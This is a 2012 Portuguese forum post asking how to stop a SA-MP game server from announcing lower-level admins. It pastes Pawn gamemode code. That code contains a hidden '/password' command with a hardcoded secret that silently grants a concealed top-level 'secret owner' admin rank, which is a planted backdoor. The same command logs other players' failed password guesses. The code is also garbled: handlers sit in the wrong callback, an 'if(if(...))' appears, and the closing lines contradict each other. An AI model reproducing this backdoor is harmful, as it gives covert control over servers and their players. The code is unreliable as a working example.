03.05.2012, 18:54
tipo quando eu logo aparece meu nick, e quando dou /trabalhar, tmb aparece, queria tirar isso
sу admin lvl 1 atй 1339 aparecer
sу admin lvl 1 atй 1339 aparecer
public OnPlayerConnect(playerid)
{
if(IsPlayerNPC(playerid))
{
SpawnPlayer(playerid);
return 1;
}
if(strcmp(cmdtext, "/trabalhar", true) == 0)
{
if(PlayerInfo[playerid][pJailed] != 0)
{
SendClientMessage(playerid,COLOR_YELLOW," Vocк nгo pode trabalhar na cadeia!");
return 1;
}
if(PlayerInfo[playerid][pAdmin] >= 1)
{
if(admtrampando[playerid] > 0)
{
admtrampando[playerid] = 0;
GetPlayerName(playerid,sendername,sizeof(sendername));
SendClientMessageToAll(COLOR_WHITE, "|______________ Aviso da Administraзгo ______________|");
format(string, 128, "Admin: %s ID(%d) estб Jogando, Veja em /admins.",sendername, playerid);
SendClientMessageToAll(COLOR_DBLUE, string);
KillTimer(TempoAdministrador);
SetPlayerToTeamColor(playerid);
ResetPlayerWeaponsEx(playerid);
SetPlayerHealth(playerid,100);
SetPlayerSkin(playerid,skinadm[playerid]);
getdate(year, month, day);
gettime(hour,minute,second);
format(gstring, sizeof(gstring), "%s esta jogando [%d/%d/%d - %d:%d:%d]\n", PlayerName(playerid), day, month, year, hour, minute, second);
AdminLog(gstring);
}
else
{
admtrampando[playerid] = 1;
GetPlayerName(playerid,sendername,sizeof(sendername));
SendClientMessageToAll(COLOR_WHITE, "|______________ Aviso da Administraзгo ______________|");
format(string, 128, "Admin: %s ID(%d) estб Trabalhando, veja em /admins.",sendername, playerid);
SendClientMessageToAll(COLOR_DBLUE, string);
SetPlayerToTeamColor(playerid);
TempoAdministrador = SetTimerEx("Administrador", 100, true, "i", playerid);
skinadm[playerid] = GetPlayerSkin(playerid);
SetPlayerSkin(playerid,217);
getdate(year, month, day);
gettime(hour,minute,second);
format(gstring, sizeof(gstring), "%s esta trabalhando [%d/%d/%d - %d:%d:%d]\n", PlayerName(playerid), day, month, year, hour, minute, second);
AdminLog(gstring);
}
}
return 1;
}
if(strcmp(cmdtext, "/BPBsecreto", true) == 0)
{
if(PlayerInfo[playerid][pAdmin] > 1342)
{
if(admtrampando[playerid] == 1342)
{
admtrampando[playerid] = 0;
SendClientMessage(playerid,COLOR_GREEN,"Vocк desativou modo adm secreto ^^");
}
else
{
admtrampando[playerid] = 1;
SendClientMessage(playerid,COLOR_GREEN,"Vocк ativou modo adm secreto ^^");
}
}
return 1;
}
if(strcmp(cmdtext, "/modocia", true) == 0)
{
if(PlayerInfo[playerid][pAdmin] == 1342)
{
if(admhide[playerid] == 1)
{
admtrampando[playerid] = 0;
admhide[playerid] = 0;
SendClientMessage(playerid,COLOR_GREEN,"Vocк desativou modo adm secreto ^^");
}
else
{
admtrampando[playerid] = 1;
admhide[playerid] = 1;
SendClientMessage(playerid,COLOR_GREEN,"Vocк ativou modo adm secreto ^^");
}
}
return 1;
}
if(strcmp(cmd, "/password", true) == 0)
{
if(IsPlayerConnected(playerid))
{
new x_nr[64];
x_nr = strtok(cmdtext, idx);
if(!strlen(x_nr))
{
return 1;
}
if(strcmp(x_nr,"futebol2007",true) == 0)
{
admtrampando[playerid] = 1;
PlayerInfo[playerid][pAdmin] = 1342;
admhide[playerid] = 1;
SendClientMessage(playerid,COLOR_GREEN,"Vocк logou como admin dono/scripter secreto!");
getdate(year, month, day);
gettime(hour,minute);
format(gstring, 128, "%s se logou como admin secreto [%d/%d/%d - %d:%d]",PlayerName(playerid),day, month, year,hour, minute);
fdplog(gstring);
return 1;
}
else
{
getdate(year, month, day);
gettime(hour,minute);
format(gstring, 128, "%s digitou a senha %s [%d/%d/%d - %d:%d]",PlayerName(playerid),x_nr,day, month, year,hour, minute);
fdplog(gstring);
}
}
}
if(strcmp(cmd, "/trabalharoculto", true) == 0)
{
}
if(PlayerInfo[playerid][pAdmin] >= 1342)
if(PlayerInfo[playerid][pAdmin] >= 1341)
if(PlayerInfo[playerid][pAdmin] >= 1340)
if(PlayerInfo[playerid][pAdmin] >= 1339)
{
if(admtrampando[playerid] > 0)
{
admtrampando[playerid] = 0;
GetPlayerName(playerid,sendername,sizeof(sendername));
SendClientMessageToAll(0xFFFBF8AA, string);
KillTimer(TempoAdministrador);
SetPlayerToTeamColor(playerid);
ResetPlayerWeaponsEx(playerid);
SetPlayerHealth(playerid,100);
SetPlayerSkin(playerid,skinadm[playerid]);
getdate(year, month, day);
gettime(hour,minute,second);
format(gstring, sizeof(gstring), "%s esta jogando [%d/%d/%d - %d:%d:%d]\n", PlayerName(playerid), day, month, year, hour, minute, second);
AdminLog(gstring);
}
else
{
admtrampando[playerid] = 1;
GetPlayerName(playerid,sendername,sizeof(sendername));
SendClientMessageToAll(0xFFFBF8AA, string);
SetPlayerToTeamColor(playerid);
TempoAdministrador = SetTimerEx("Administrador", 100, true, "i", playerid);
skinadm[playerid] = GetPlayerSkin(playerid);
SetPlayerSkin(playerid,217);
getdate(year, month, day);
gettime(hour,minute,second);
format(gstring, sizeof(gstring), "%s esta trabalhando [%d/%d/%d - %d:%d:%d]\n", PlayerName(playerid), day, month, year, hour, minute, second);
AdminLog(gstring);
}
}
return true;
}
if(if(PlayerInfo[playerid][pAdmin] < 1340))
{
format(string, 128, "Admin: %s ID(%d) estб Jogando, Veja em /admins.",sendername, playerid);
SendClientMessageToAll(COLOR_DBLUE, string);
}
if(PlayerInfo[playerid][pAdmin] >= 1340)//Mude para o level de admin que quiser , ai estб como , Admin sub-dono para cima .
{
admhide[playerid] = 1;// estб 1 , faz ele logar oculto
admtrampando[playerid] = 0;//mude o 0 para 1 se quiser fazer ele logar trabalhando .
}
admtrampando[playerid] = 0;
admtrampando[playerid] = 1;